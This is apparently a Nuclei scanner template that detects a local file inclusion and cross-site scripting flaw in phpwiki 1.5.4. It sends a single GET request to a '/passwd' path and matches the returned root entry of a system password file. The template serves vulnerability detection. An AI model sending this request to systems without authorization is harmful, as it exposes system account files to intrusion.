id: phpwiki-lfi

info:
  name: phpwiki 1.5.4 - Cross-Site Scripting/Local File Inclusion
  author: 0x_Akoko
  severity: high
  description: phpwiki 1.5.4 is vulnerable to cross-site scripting and local file inclusion, and allows remote unauthenticated attackers to include and return the content of locally stored files via the 'index.php' endpoint.
  reference:
    - https://www.exploit-db.com/exploits/38027
  metadata:
    max-request: 1
  tags: xss,edb,phpwiki,lfi

http:
  - method: GET
    path:
      - "{{BaseURL}}/phpwiki/index.php/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:[x*]:0:0"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100b445a911b438bed0c32ce1a18a657590ca280ed7d48ce906290d8b18a3107494022068a127e30f16346e69d499109952bafbd8d1f9763eac0538a425d1515087ce40:922c64590222798bb761d5b6d8e72950